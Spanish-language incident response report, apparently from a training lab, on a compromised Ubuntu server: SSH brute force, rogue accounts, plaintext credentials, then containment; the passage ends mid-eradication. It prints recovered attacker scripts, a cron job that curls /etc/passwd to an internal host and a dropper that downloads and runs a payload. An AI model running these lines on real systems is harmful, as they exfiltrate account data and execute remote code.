

INFORME DE RESPUESTA A INCIDENTES

Análisis Forense en Vivo [Live Forensics] — Servidor 4geeks-server

Clasificación: CONFIDENCIAL — Uso interno

Estado del documento: INFORME FINAL

Elaborado por: Alexandra Docheff

Fecha del informe: Agosto de 2026

Sistema afectado: 4geeks-server [Ubuntu 20.04 LTS Focal Fossa]

1. Resumen Ejecutivo

El día 23 de junio de 2025, el servidor 4geeks-server [Ubuntu 20.04 LTS] sufrió un incidente de seguridad que incluyó un ataque de fuerza bruta contra el servicio SSH, la creación de credenciales expuestas en texto plano, la descarga y ejecución de un script no autorizado desde un host de la red interna, y el establecimiento de un mecanismo de persistencia mediante una tarea programada [cron] ejecutada con privilegios de root cada 15 minutos.

El análisis en vivo [live forensics] realizado sobre el sistema permitió reconstruir la cadena de ataque completa a partir de logs de autenticación, historial de comandos, procesos en ejecución, configuración de firewall, cuentas de usuario y el contenido íntegro de los artefactos maliciosos recuperados. Se confirmó que el mecanismo de persistencia [backup2.sh] exfiltra información sensible del sistema hacia un servidor externo, y que dicho mecanismo fue instalado mediante un script dropper [install.sh] que descargó y ejecutó un binario adicional no recuperado.

Se recomienda tratar este incidente con severidad ALTA/CRÍTICA dado que existe evidencia confirmada de: exfiltración periódica y automatizada de /etc/passwd hacia un host externo, creación de cuentas de acceso no autorizadas con privilegios de shell, persistencia activa con ejecución como root a nivel de sistema operativo, y posibles intentos de manipulación de evidencia [anti-forense]. Como factor atenuante, se confirmó que las cuentas creadas por el atacante [hacker, reports] no poseen privilegios sudo, lo que limita (aunque no elimina) el radio de impacto de un eventual uso directo de dichas cuentas.

2. Alcance y Metodología

El análisis se realizó directamente sobre el sistema en ejecución [live response], sin apagar la máquina, priorizando la recolección de evidencia volátil [procesos, memoria, conexiones de red] antes que la evidencia no volátil [logs, archivos en disco], conforme al orden de volatilidad estándar en forense digital.

Fuentes de evidencia analizadas:

- Árbol de procesos [ps --forest] y snapshots de procesos por usuario [ps aux]
- Configuración de red e interfaces [ip a, ss -tuln]
- Reglas de firewall [iptables / ufw, todas las cadenas]
- Tareas programadas [crontab, /etc/cron.*]
- Logs de autenticación [/var/log/auth.log]
- Historial de sesiones [last -a] e historial de comandos [bash_history]
- Cuentas de usuario del sistema [/etc/passwd]
- Servicios activos [systemctl list-units] y agente Wazuh [HIDS] instalado
- Métricas de uso de recursos [free, top, uptime]

3. Hallazgos Detallados

3.1 Ataque de fuerza bruta contra SSH

[ALTA] Fuerza bruta SSH desde host interno 192.168.1.103

El log /var/log/auth.log registra múltiples intentos fallidos de autenticación SSH entre las 15:26:47 y las 15:29:21 del 23 de junio, probando los usuarios "test", "admin", "hacker" y "root". El origen es una IP de la red interna [192.168.1.0/24], lo que sugiere que el atacante ya contaba con acceso previo a la red o utilizó un host pivote.

Evidencia: `grep -a "Failed password" /var/log/auth.log`

```
sysadmin@4geeks-server:~$ grep -a "Failed password" /var/log/auth.log
Jun 21 19:38:20 4geeks-server sshd[2001]: Failed password for root from 192.168.1.50 port 40230 ssh2
Jun 23 15:26:52 4geeks-server sshd[1736]: Failed password for invalid user test from 192.168.1.103 port 58760 ssh2
Jun 23 15:27:01 4geeks-server sshd[1736]: Failed password for invalid user test from 192.168.1.103 port 58760 ssh2
Jun 23 15:27:07 4geeks-server sshd[1736]: Failed password for invalid user test from 192.168.1.103 port 58760 ssh2
Jun 23 15:27:28 4geeks-server sshd[1747]: Failed password for invalid user admin from 192.168.1.103 port 49542 ssh2
Jun 23 15:27:32 4geeks-server sshd[1747]: Failed password for invalid user admin from 192.168.1.103 port 49542 ssh2
Jun 23 15:27:37 4geeks-server sshd[1747]: Failed password for invalid user admin from 192.168.1.103 port 49542 ssh2
Jun 23 15:28:33 4geeks-server sshd[1769]: Failed password for hacker from 192.168.1.103 port 44272 ssh2
Jun 23 15:28:40 4geeks-server sshd[1769]: Failed password for hacker from 192.168.1.103 port 44272 ssh2
Jun 23 15:29:15 4geeks-server sshd[1797]: Failed password for root from 192.168.1.103 port 47014 ssh2
Jun 23 15:29:21 4geeks-server sshd[1797]: Failed password for root from 192.168.1.103 port 47014 ssh2
sysadmin@4geeks-server:~$ _
```

Estado: **Confirmado**

[MEDIA] Intento de acceso root desde IP externa/no habitual [192.168.1.50]

El 21 de junio a las 19:38 se registró un intento fallido de login como root desde 192.168.1.50, seguido siete segundos después por un login exitoso legítimo del usuario sysadmin desde la misma IP. Requiere confirmar si 192.168.1.50 corresponde a un puesto de administración autorizado.

Evidencia: *auth.log, entradas del 21 de junio*

```

Jun 21 19:04:11 4geeks-server sshd[958]: Server listening on 0.0.0.0 port 22.
Jun 21 19:04:11 4geeks-server sshd[958]: Server listening on :: port 22.
Jun 21 19:04:27 4geeks-server sshd[958]: Received signal 15; terminating.
Jun 21 19:04:27 4geeks-server sshd[1632]: Server listening on 0.0.0.0 port 22.
Jun 21 19:04:27 4geeks-server sshd[1632]: Server listening on :: port 22.
Jun 21 19:38:19 4geeks-server sshd[2001]: pam_unix(sshd:auth): authentication failure; logname= uid=
0 euid=0 tty=ssh ruser= rhost=192.168.1.50 user=root
Jun 21 19:38:20 4geeks-server sshd[2001]: Failed password for root from 192.168.1.50 port 40230 ssh2
Jun 21 19:38:26 4geeks-server sshd[2001]: Connection closed by authenticating user root 192.168.1.50
port 40230 [preauth]
Jun 21 19:38:47 4geeks-server sshd[2011]: Accepted password for sysadmin from 192.168.1.50 port 4793
6 ssh2
Jun 21 19:38:47 4geeks-server sshd[2011]: pam_unix(sshd:session): session opened for user sysadmin b
y (uid=0)
Jun 21 19:38:48 4geeks-server sshd[2106]: Received disconnect from 192.168.1.50 port 47936:11: disco
nnected by user
Jun 21 19:38:48 4geeks-server sshd[2106]: Disconnected from user sysadmin 192.168.1.50 port 47936
Jun 21 19:38:48 4geeks-server sshd[2011]: pam_unix(sshd:session): session closed for user sysadmin
Jun 23 12:55:30 4geeks-server sshd[814]: Server listening on 0.0.0.0 port 22.
Jun 23 12:55:30 4geeks-server sshd[814]: Server listening on :: port 22.
Jun 23 14:50:29 4geeks-server sshd[819]: Server listening on 0.0.0.0 port 22.
Jun 23 14:50:29 4geeks-server sshd[819]: Server listening on :: port 22.
Jun 23 15:23:17 4geeks-server sshd[786]: Server listening on 0.0.0.0 port 22.
Jun 23 15:23:17 4geeks-server sshd[786]: Server listening on :: port 22.
Jun 23 15:26:47 4geeks-server sshd[1736]: Invalid user test from 192.168.1.103 port 58760
Jun 23 15:26:50 4geeks-server sshd[1736]: pam_unix(sshd:auth): check pass; user unknown
Jun 23 15:26:50 4geeks-server sshd[1736]: pam_unix(sshd:auth): authentication failure; logname= uid=
0 euid=0 tty=ssh ruser= rhost=192.168.1.103
Jun 23 15:26:52 4geeks-server sshd[1736]: Failed password for invalid user test from 192.168.1.103 p
ort 58760 ssh2
Jun 23 15:26:59 4geeks-server sshd[1736]: pam_unix(sshd:auth): check pass; user unknown
Jun 23 15:27:01 4geeks-server sshd[1736]: Failed password for invalid user test from 192.168.1.103 p
ort 58760 ssh2
Jun 23 15:27:05 4geeks-server sshd[1736]: pam_unix(sshd:auth): check pass; user unknown
Jun 23 15:27:07 4geeks-server sshd[1736]: Failed password for invalid user test from 192.168.1.103 p
ort 58760 ssh2
:

```

```

ort 58760 ssh2
Jun 23 15:27:08 4geeks-server sshd[1736]: Connection closed by invalid user test 192.168.1.103 port
58760 [preauth]
Jun 23 15:27:08 4geeks-server sshd[1736]: PAM 2 more authentication failures; logname= uid=0 euid=0
tty=ssh ruser= rhost=192.168.1.103
Jun 23 15:27:24 4geeks-server sshd[1747]: Invalid user admin from 192.168.1.103 port 49542
Jun 23 15:27:27 4geeks-server sshd[1747]: pam_unix(sshd:auth): check pass; user unknown
Jun 23 15:27:27 4geeks-server sshd[1747]: pam_unix(sshd:auth): authentication failure; logname= uid=
0 euid=0 tty=ssh ruser= rhost=192.168.1.103
Jun 23 15:27:28 4geeks-server sshd[1747]: Failed password for invalid user admin from 192.168.1.103
port 49542 ssh2
Jun 23 15:27:30 4geeks-server sshd[1747]: pam_unix(sshd:auth): check pass; user unknown
Jun 23 15:27:32 4geeks-server sshd[1747]: Failed password for invalid user admin from 192.168.1.103
port 49542 ssh2
Jun 23 15:27:35 4geeks-server sshd[1747]: pam_unix(sshd:auth): check pass; user unknown
Jun 23 15:27:37 4geeks-server sshd[1747]: Failed password for invalid user admin from 192.168.1.103
port 49542 ssh2
Jun 23 15:27:39 4geeks-server sshd[1747]: Connection closed by invalid user admin 192.168.1.103 port
49542 [preauth]
Jun 23 15:27:39 4geeks-server sshd[1747]: PAM 2 more authentication failures; logname= uid=0 euid=0
tty=ssh ruser= rhost=192.168.1.103
Jun 23 15:28:30 4geeks-server sshd[1769]: pam_unix(sshd:auth): authentication failure; logname= uid=
0 euid=0 tty=ssh ruser= rhost=192.168.1.103 user=hacker
Jun 23 15:28:33 4geeks-server sshd[1769]: Failed password for hacker from 192.168.1.103 port 44272 s
sh2
Jun 23 15:28:40 4geeks-server sshd[1769]: Failed password for hacker from 192.168.1.103 port 44272 s
sh2
Jun 23 15:29:04 4geeks-server sshd[1769]: Connection closed by authenticating user hacker 192.168.1.
103 port 44272 [preauth]
Jun 23 15:29:04 4geeks-server sshd[1769]: PAM 1 more authentication failure; logname= uid=0 euid=0 t
ty=ssh ruser= rhost=192.168.1.103 user=hacker
Jun 23 15:29:14 4geeks-server sshd[1797]: pam_unix(sshd:auth): authentication failure; logname= uid=
0 euid=0 tty=ssh ruser= rhost=192.168.1.103 user=root
Jun 23 15:29:15 4geeks-server sshd[1797]: Failed password for root from 192.168.1.103 port 47014 ssh
2
Jun 23 15:29:21 4geeks-server sshd[1797]: Failed password for root from 192.168.1.103 port 47014 ssh
:

```

Estado: Pendiente de contexto [¿IP autorizada?]

3.2 Creación de cuentas de usuario no autorizadas

[CRÍTICA] Cuentas 'reports' y 'hacker' con shell interactiva

El archivo `/etc/passwd` muestra dos cuentas con `/bin/bash`: `reports` (UID 1001) y `hacker` (UID 1002). El nombre "hacker" coincide exactamente con el usuario utilizado en los intentos de fuerza bruta SSH, lo que indica una fuerte correlación entre el ataque y la creación de esta cuenta.

Evidencia: `cat /etc/passwd | grep -v "/usr/sbin/nologin"`

```
sysadmin@4geeks-server:~$ cat /etc/passwd | grep -v "/usr/sbin/nologin"
root:x:0:0:root:/root:/bin/bash
sync:x:4:65534:sync:/bin:/bin/sync
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sysadmin:x:1000:1000:4geeks-server:/home/sysadmin:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
reports:x:1001:1001:,,,:/home/reports:/bin/bash
wazuh:x:115:120::/var/ossec:/sbin/nologin
hacker:x:1002:1002::/home/hacker:/bin/bash
sysadmin@4geeks-server:~$
```

Estado: **Confirmado**

[ALTA] Credenciales débiles en texto plano

Se generó la credencial "reports:reports123" y se almacenó sin cifrar en dos ubicaciones ocultas: /opt/.archive/credentials.txt y /var/backups/.logs/creds.txt, ambas con permisos de lectura global [644]. El uso de directorios con punto inicial es una técnica básica de ocultamiento de archivos en Linux.

Evidencia: Contenido de `cat ~/.bash_history` del usuario `sysadmin`

```
sysadmin@4geeks-server:~$ cat ~/.bash_history
rm ~/.bash_history
exit
echo "Reminder: new credentials for reports stored temporarily in /opt/.archive" | sudo tee /home/reports/.note
exit
sudo mkdir -p /opt/.archive
echo "reports:reports123" | sudo tee /opt/.archive/credentials.txt
sudo chmod 644 /opt/.archive/credentials.txt
echo "cat /opt/.archive/credentials.txt" | sudo tee /home/reports/.bash_history
sudo chown reports:reports /home/reports/.bash_history
echo "wget http://192.168.1.100/install.sh" | sudo tee -a /home/reports/.bash_history
echo "chmod +x install.sh" | sudo tee -a /home/reports/.bash_history
echo "./install.sh" | sudo tee -a /home/reports/.bash_history
echo "nano backup.log" | sudo tee -a /home/reports/.bash_history
sudo chown reports:reports /home/reports/.bash_history
sudo touch /home/reports/install.sh
sudo nano /home/reports/install.sh
sudo touch /home/reports/backup.log
sudo nano /home/reports/backup.log
sudo chown reports:reports /home/reports/install.sh /home/reports/backup.log
ls
pwd
sudo nano /home/reports/chat.txt
sudo chown reports:reports /home/reports/chat.txt
exit
cat /var/backups/.logs/creds.txt
sudo mkdir -p /var/backups/.logs
echo "reports:reports123" | sudo tee /var/backups/.logs/creds.txt
sudo chmod 644 /var/backups/.logs/creds.txt
echo "cat /var/backups/.logs/creds.txt" | sudo tee -a /home/sysadmin/.bash_history
sysadmin@4geeks-server:~$
```

Estado: **Confirmado**

3.3 Descarga y ejecución de payload no autorizado

[CRÍTICA] Descarga de install.sh desde host interno 192.168.1.100

Se identificaron los comandos "wget http://192.168.1.100/install.sh", "chmod +x install.sh" y "./install.sh" ejecutados desde el directorio /home/reports. Este script es el candidato principal como instalador del mecanismo de persistencia identificado en la sección 3.4.

Evidencia: `~/.bash_history` — líneas con `wget/chmod/ejecución de install.sh`

```

echo "wget http://192.168.1.100/install.sh" | sudo tee -a /home/reports/.bash_history
echo "chmod +x install.sh" | sudo tee -a /home/reports/.bash_history
echo "./install.sh" | sudo tee -a /home/reports/.bash_history
echo "nano backup.log" | sudo tee -a /home/reports/.bash_history
sudo chown reports:reports /home/reports/.bash_history
sudo touch /home/reports/install.sh
sudo nano /home/reports/install.sh
sudo touch /home/reports/backup.log
sudo nano /home/reports/backup.log
sudo chown reports:reports /home/reports/install.sh /home/reports/backup.log
ls
pwd
sudo nano /home/reports/chat.txt
sudo chown reports:reports /home/reports/chat.txt
exit

```

Estado: Confirmado el evento; contenido de install.sh pendiente de extracción

3.4 Persistencia mediante tarea programada [cron]— Exfiltración de datos

[CRÍTICA] Cronjob root ejecutando backup2.sh cada 15 minutos: exfiltración de /etc/passwd

La tabla de cron del sistema contiene la entrada "`*/*15 * * * * root /usr/local/bin/backup2.sh`". El script, propiedad de root con permisos 755 [creado el 23 de junio de 2025], comprime /etc/passwd en un archivo /tmp/secrets.tgz y lo envía mediante una petición HTTP POST al servidor 192.168.1.100 en el puerto 8080 [endpoint /upload]. Es decir, cada 15 minutos el sistema exfiltra automáticamente, con privilegios de root, un archivo con la lista completa de cuentas del sistema hacia un host controlado por el atacante. El nombre "backup2.sh" imita a un script de backup legítimo para camuflarse entre las tareas administrativas reales del servidor.

Evidencia: `crontab -l; cat /etc/cron.d/*; ls -la /usr/local/bin/backup2.sh`

```

sysadmin@4geeks-server:~$ ls /etc/cron.d/ && cat /etc/cron.d/* && crontab -l
e2scrub_all logrotate popularity-contest sys-maintenance
30 3 * * 0 root test -e /run/systemd/system || SERVICE_MODE=1 /usr/lib/x86_64-linux-gnu/e2fsprogs/e2scrub_all_cron
10 3 * * * root test -e /run/systemd/system || SERVICE_MODE=1 /sbin/e2scrub_all -A -r
0 0 * * * root /opt/scripts/logrotate.sh
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
35 0 * * * root test -x /etc/cron.daily/popularity-contest && /etc/cron.daily/popularity-contes
t --crond
*/15 * * * * root /usr/local/bin/backup2.sh
no crontab for sysadmin
sysadmin@4geeks-server:~$

```

```

sysadmin@4geeks-server:~$ ls -la /usr/local/bin/
total 12
drwxr-xr-x  2 root root 4096 Jun 23  2025 .
drwxr-xr-x 10 root root 4096 Mar 14  2023 ..
-rwxr-xr-x  1 root root 125 Jun 23  2025 backup2.sh
sysadmin@4geeks-server:~$

```

Estado: Confirmado — contenido íntegro del script recuperado

3.5 Script dropper [install.sh] — instalador de la persistencia

[CRÍTICA] install.sh descarga y ejecuta un binario adicional [payload.bin]

El script install.sh, ejecutado desde /home/reports [ver sección 3.3], crea el directorio oculto /tmp/.temp, descarga un binario llamado payload.bin desde <http://192.168.1.100/payload.bin>, le otorga permisos de

ejecución y lo lanza en segundo plano [8]. Este comportamiento es característico de un dropper/stager: su única función es descargar y ejecutar una segunda etapa del malware. Es altamente probable que `payload.bin` sea el responsable directo de crear el cronjob de `backup2.sh` y las cuentas `hacker/reports`, aunque el binario en sí no pudo ser recuperado del sistema (no se encontró en `/tmp/.temp` al momento del análisis, posiblemente autoeliminado tras su ejecución).

Evidencia: `sudo cat /home/reports/install.sh`

```
sysadmin@4geeks-server:~$ cat /usr/local/bin/backup2.sh
#!/bin/bash
tar -czf /tmp/secrets.tgz /etc/passwd
curl -X POST -F 'file=@/tmp/secrets.tgz' http://192.168.1.100:8080/upload

sysadmin@4geeks-server:~$ sudo cat /usr/local/bin/backup2.sh
[sudo] password for sysadmin:
#!/bin/bash
tar -czf /tmp/secrets.tgz /etc/passwd
curl -X POST -F 'file=@/tmp/secrets.tgz' http://192.168.1.100:8080/upload

sysadmin@4geeks-server:~$ ls -la /usr/local/bin/backup2.sh
-rwxr-xr-x 1 root root 125 Jun 23  2025 /usr/local/bin/backup2.sh
sysadmin@4geeks-server:~$ sudo cat /home/reports/install.sh
#!/bin/bash

echo "[*] Preparing enviroment..."
sleep 1
mkdir -p /tmp/.temp
echo "[*] Downloading dependencies..."
sleep 2
curl -s http://192.168.1.100/payload.bin -o /tmp/.temp/payload
chmod +x /tmp/.temp/payload
/tmp/.temp/payload &
echo "[*] Installation complete."
sysadmin@4geeks-server:~$ _
```

Estado: Confirmado — contenido íntegro del script recuperado; binario `payload.bin` no disponible para análisis

3.6 Privilegios de las cuentas comprometidas

[MEDIA] Las cuentas 'hacker' y 'reports' NO poseen privilegios sudo

La revisión de `/etc/sudoers` y `/etc/sudoers.d/` confirma que únicamente `root` y los grupos `%admin` y `%sudo` tienen privilegios elevados; ni `hacker` ni `reports` pertenecen a dichos grupos (`groups hacker` → solo `"hacker"`; `groups reports` → solo `"reports"`), y `/etc/sudoers.d/` no contiene reglas adicionales fuera del README por defecto. Esto significa que, si un atacante inicia sesión directamente con estas cuentas, queda limitado a los privilegios de usuario estándar. Sin embargo, este hallazgo NO reduce el impacto del incidente: la persistencia crítica (`backup2.sh`) ya se ejecuta con privilegios de `root` de forma independiente, vía cron del sistema, sin depender de estas cuentas.

Evidencia: `groups hacker; groups reports; sudo cat /etc/sudoers; sudo cat /etc/sudoers.d/*`

```
sysadmin@4geeks-server:~$ groups hacker
hacker : hacker
sysadmin@4geeks-server:~$ groups reports
reports : reports
sysadmin@4geeks-server:~$ sudo cat /etc/sudoers
#
# This file MUST be edited with the 'visudo' command as root.
#
# Please consider adding local content in /etc/sudoers.d/ instead of
# directly modifying this file.
#
# See the man page for details on how to write a sudoers file.
#
Defaults                env_reset
Defaults                mail_badpass
Defaults                secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin"

# Host alias specification

# User alias specification

# Cmnd alias specification

# User privilege specification
root    ALL=(ALL:ALL) ALL

# Members of the admin group may gain root privileges
%admin   ALL=(ALL) ALL

# Allow members of group sudo to execute any command
%sudo   ALL=(ALL:ALL) ALL

# See sudoers(5) for more information on "#include" directives:

#include_dir /etc/sudoers.d
sysadmin@4geeks-server:~$
```

```
# Members of the admin group may gain root privileges
%admin ALL=(ALL) ALL

# Allow members of group sudo to execute any command
%sudo  ALL=(ALL:ALL) ALL

# See sudoers(5) for more information on "#include" directives:

#include /etc/sudoers.d
sysadmin@4geeks-server:~$ sudo ls -la /etc/sudoers.d/
total 12
drwxr-xr-x  2 root root 4096 Jun 21  2025 .
drwxr-xr-x 100 root root 4096 Jul 27 22:43 ..
-r--r----- 1 root root  958 Feb  3  2020 README
sysadmin@4geeks-server:~$ sudo cat /etc/sudoers.d/*

# As of Debian version 1.7.2p1-1, the default /etc/sudoers file created on
# installation of the package now includes the directive:
#
#     #includedir /etc/sudoers.d
#
# This will cause sudo to read and parse any files in the /etc/sudoers.d
# directory that do not end in '~' or contain a '.' character.
#
# Note that there must be at least one file in the sudoers.d directory (this
# one will do), and all files in this directory should be mode 0440.
#
# Note also, that because sudoers contents can vary widely, no attempt is
# made to add this directive to existing sudoers files on upgrade. Feel free
# to add the above directive to the end of your /etc/sudoers file to enable
# this functionality for existing installations if you wish!
#
# Finally, please note that using the visudo command is the recommended way
# to update sudoers content, since it protects against many failure modes.
# See the man page for visudo for more information.
#
sysadmin@4geeks-server:~$ _
```

Estado: Confirmado

3.7 Indicios de manipulación de evidencia [anti-forense]

[ALTA] Intentos de alteración de bash_history

El historial de comandos revisado inicia con "rm ~/.bash_history" y contiene múltiples comandos "echo ... | sudo tee -a /home/reports/.bash_history", lo que indica una posible fabricación/inyección de entradas en el historial de otro usuario para simular actividad legítima o despistar el análisis forense.

Evidencia: `cat ~/.bash_history`

```

sysadmin@4geeks-server:~$ cat ~/.bash_history
rm ~/.bash_history
exit
echo "Reminder: new credentials for reports stored temporarily in /opt/.archive" | sudo tee /home/reports/.note
exit
sudo mkdir -p /opt/.archive
echo "reports:reports123" | sudo tee /opt/.archive/credentials.txt
sudo chmod 644 /opt/.archive/credentials.txt
echo "cat /opt/.archive/credentials.txt" | sudo tee /home/reports/.bash_history
sudo chown reports:reports /home/reports/.bash_history
echo "wget http://192.168.1.100/install.sh" | sudo tee -a /home/reports/.bash_history
echo "chmod +x install.sh" | sudo tee -a /home/reports/.bash_history
echo "./install.sh" | sudo tee -a /home/reports/.bash_history
echo "nano backup.log" | sudo tee -a /home/reports/.bash_history
sudo chown reports:reports /home/reports/.bash_history
sudo touch /home/reports/install.sh
sudo nano /home/reports/install.sh
sudo touch /home/reports/backup.log
sudo nano /home/reports/backup.log
sudo chown reports:reports /home/reports/install.sh /home/reports/backup.log
ls
pwd
sudo nano /home/reports/chat.txt
sudo chown reports:reports /home/reports/chat.txt
exit
cat /var/backups/.logs/creds.txt
sudo mkdir -p /var/backups/.logs
echo "reports:reports123" | sudo tee /var/backups/.logs/creds.txt
sudo chmod 644 /var/backups/.logs/creds.txt
echo "cat /var/backups/.logs/creds.txt" | sudo tee -a /home/sysadmin/.bash_history
sysadmin@4geeks-server:~$

```

Estado: Confirmado

3.8 Proceso de arranque [init] con argumento anómalo

[INFORMATIVA] /sbin/init con argumento 'maybe-ubiquity' — descartado como IOC

El proceso PID 1 se observó inicialmente como `"/sbin/init maybe-ubiquity"`, lo cual generó sospecha por ser un argumento propio de entornos de instalación/live de Ubuntu. La verificación posterior confirma que `/sbin/init` es un symlink legítimo hacia `/lib/systemd/systemd`, sin alteraciones [fecha de creación 2 marzo 2023, propietario root] y que pertenece al paquete oficial `systemd-sys` según `dpkg`. Se descarta manipulación del proceso de arranque; el argumento observado se atribuye a una particularidad del entorno de laboratorio [VM basada en o clonada desde una imagen live de Ubuntu] y no representa un indicador de compromiso.

Evidencia: `ls -la /sbin/init; dpkg -S /sbin/init`

```

sysadmin@4geeks-server:~$ ls -la /sbin/init
lrwxrwxrwx 1 root root 20 Mar  2  2023 /sbin/init -> /lib/systemd/systemd
sysadmin@4geeks-server:~$ dpkg -S /sbin/init
systemd-sysv: /sbin/init
sysadmin@4geeks-server:~$ _

```

Estado: Confirmado — descartado como IOC

3.9 Elementos revisados sin hallazgos relevantes

Los siguientes puntos fueron inspeccionados y, con la evidencia disponible al momento, no muestran indicios de compromiso adicional:

- Reglas de firewall [ufw/iptables]: política por defecto DROP en INPUT/FORWARD; puertos permitidos limitados a 22 [SSH], 80 [HTTP] y 21 [FTP], sin reglas de reenvío o puertos backdoor evidentes.
- Puertos en escucha [ss -tuln]: coinciden con los servicios declarados [SSH, HTTP, FTP, DNS local]; no se observan listeners no identificados.
- Consumo de memoria y CPU [free, top]: sin anomalías al momento del snapshot; no hay indicios de minería de criptomonedas u otros procesos intensivos.
- Servicios systemd activos: todos corresponden a servicios estándar de Ubuntu y aplicaciones esperadas [Apache, vsftpd, cron, Wazuh agent, etc.].
- Árbol de procesos de Apache: alto número de procesos worker (~30), dentro de rangos posibles para configuración MPM prefork bajo carga; se recomienda validar contra la configuración esperada [StartServers/MaxRequestWorkers].

4. Línea de Tiempo del Incidente

Fecha / Hora	Evento
21 jun 19:38	Intento fallido de login SSH como root desde 192.168.1.50
21 jun 19:38	Login SSH exitoso de sysadmin desde 192.168.1.50 [sesión legítima]
23 jun 14:07	Sesión tty1 de 0 segundos del usuario "reports" [según last -a]
23 jun 14:48–16:45	Múltiples crashes y reboots del sistema en ventana corta [posible explotación/inestabilidad]
23 jun 15:26–15:29	Fuerza bruta SSH desde 192.168.1.103 contra usuarios test, admin, hacker y root
23 jun [misma fecha]	Creación del archivo /usr/local/bin/backup2.sh [persistencia vía cron cada 15 min, como root]
23 jun [misma fecha]	Descarga y ejecución de install.sh desde http://192.168.1.100/ usando la cuenta reports
23 jun [misma fecha]	Creación de credenciales en texto plano en /opt/.archive/ y /var/backups/.logs/
23 jun [misma fecha]	Intento de manipulación/limpieza de bash_history [anti-forense]
27 jul 22:23–22:39	Múltiples reboots adicionales durante la ventana de análisis en vivo [VM de laboratorio]

5. Indicadores de Compromiso (IOC)

Tipo	Indicador (IOC)	Observación
IP origen [fuerza bruta SSH]	192.168.1.103	Escaneo/brute-force contra SSH, 23 jun 15:26–15:29
IP origen [payload]	192.168.1.100	Servidor desde donde se descargó install.sh vía wget
Cuenta de usuario	hacker [UID 1002]	Shell /bin/bash; coincide con usuario probado en brute-force
Cuenta de usuario	reports [UID 1001]	Shell /bin/bash; usada para descargar y ejecutar el payload
Credencial expuesta	reports:reports123	Contraseña débil en texto plano, guardada en 2 ubicaciones ocultas
Archivo de persistencia	/usr/local/bin/backup2.sh	Cron cada 15 min como root; exfiltra tar.gz de /etc/passwd
Endpoint de exfiltración	http://192.168.1.100:8080/upload	Destino del POST con /tmp/secrets.tgz [contiene /etc/passwd]
Archivo descargado [dropper]	install.sh	Origen: http://192.168.1.100/install.sh; ejecutado desde /home/reports
Binario de segunda etapa	http://192.168.1.100/payload.bin	Descargado a /tmp/.temp/payload y ejecutado en background; no recuperado
Rutas ocultas	/opt/.archive/, /var/backups/.logs/, /tmp/.temp/	Directorios con punto para ocultar credenciales y payload

6. Impacto del Incidente [cierre de Fase 1]

Con base en la evidencia recolectada durante la Fase 1, el impacto estimado del incidente —previo a la remediación— fue el siguiente:

- **Confidencialidad: COMPROMETIDA [confirmado]** — exfiltración automatizada y recurrente de /etc/passwd hacia un servidor externo [192.168.1.100:8080] cada 15 minutos; adicionalmente, credenciales en texto plano accesibles y cuentas no autorizadas con acceso interactivo.
- **Integridad: COMPROMETIDA [confirmado]** — modificación de la tabla de cron del sistema, ejecución de un binario de origen no verificado [payload.bin] con capacidad de haber alterado otros componentes del sistema, y manipulación de historiales de comandos [anti-forense].

- Disponibilidad: posiblemente afectada — se registraron múltiples caídas y reinicios del sistema en la ventana horaria del ataque [23 de junio, 14:48–16:45], lo que podría estar asociado a la ejecución del payload o a intentos de explotación previos.
- Persistencia activa: Sí, al momento de detección — el cronjob que ejecutaba backup2.sh como root cada 15 minutos exfiltraba datos de forma recurrente. Este punto fue remediado en la Fase 2 (ver sección 7).
- Escalamiento de privilegios vía cuentas de usuario: NO confirmado — hacker y reports no tenían sudo; el impacto de root se lograba exclusivamente a través del cronjob de persistencia, no de estas cuentas.

7. FASE 2 — Remediación y Restauración del Sistema

Tras confirmar los hallazgos de la Fase 1, se ejecutaron acciones de contención, erradicación, recuperación y hardening directamente sobre el sistema activo, sin apagar el servidor ni interrumpir los servicios legítimos en producción [Apache, SSH, FTP], priorizando la disponibilidad del servicio conforme al enfoque de Live Incident Response solicitado.

7.1 Contención

[EJECUTADO] Bloqueo de comunicación con los hosts origen del ataque

Se agregaron reglas de firewall [ufw] para bloquear explícitamente el tráfico saliente hacia 192.168.1.100 [servidor de exfiltración y del payload] y el tráfico entrante desde 192.168.1.103 [origen del ataque de fuerza bruta], sin afectar el resto de las reglas ni los servicios legítimos expuestos [SSH, HTTP, FTP]. Esto cortó de forma inmediata cualquier exfiltración activa mientras se completaba la erradicación.

Evidencia: `sudo ufw deny out to 192.168.1.100; sudo ufw deny from 192.168.1.103; sudo ufw status verbose`

```
sysadmin@4geeks-server:~$ sudo ufw deny out to 192.168.1.100
[sudo] password for sysadmin:
Rule added
sysadmin@4geeks-server:~$ sudo ufw deny from 192.168.1.103
Rule added
sysadmin@4geeks-server:~$ sudo ufw status verbose
Status: active
Logging: on (low)
Default: deny (incoming), allow (outgoing), disabled (routed)
New profiles: skip

To                                     Action    From
--                                     -
22                                     ALLOW IN  Anywhere
80                                     ALLOW IN  Anywhere
21                                     ALLOW IN  Anywhere
Anywhere                             DENY IN   192.168.1.103
22 (v6)                              ALLOW IN  Anywhere (v6)
80 (v6)                              ALLOW IN  Anywhere (v6)
21 (v6)                              ALLOW IN  Anywhere (v6)

192.168.1.100                         DENY OUT  Anywhere
```

Estado: Confirmado — reglas visibles y activas [Status: active]

7.2 Erradicación

[EJECUTADO] Eliminación de artefactos, credenciales expuestas y cuentas backdoor

Se eliminaron los artefactos dejados por el atacante: /tmp/.tmp, /tmp/secrets.tgz [paquete de exfiltración], /opt/.archive/credentials.txt y /var/backups/.logs/creds.txt [credenciales en texto plano], así como los directorios ocultos que los contenían. También se eliminaron los archivos remanentes en /home/reports/ [install.sh, backup.log, chat.txt] y se dieron de baja definitivamente las cuentas backdoor "hacker" y "reports" mediante userdel -r [elimina también sus directorios home]. Previo a cualquier borrado, se respaldó el bash_history original del usuario sysadmin como evidencia.

Evidencia: `sudo rm -rf /tmp/.tmp /tmp/secrets.tgz /opt/.archive/credentials.txt /var/backups/.logs/creds.txt; sudo rm -f /home/reports/install.sh /home/reports/backup.log /home/reports/chat.txt; sudo userdel -r hacker; sudo userdel -r reports`

```
sysadmin@4geeks-server:~$ sudo rm -rf /tmp/.tmp
sysadmin@4geeks-server:~$ sudo rm -rf /tmp/secrets.tgz
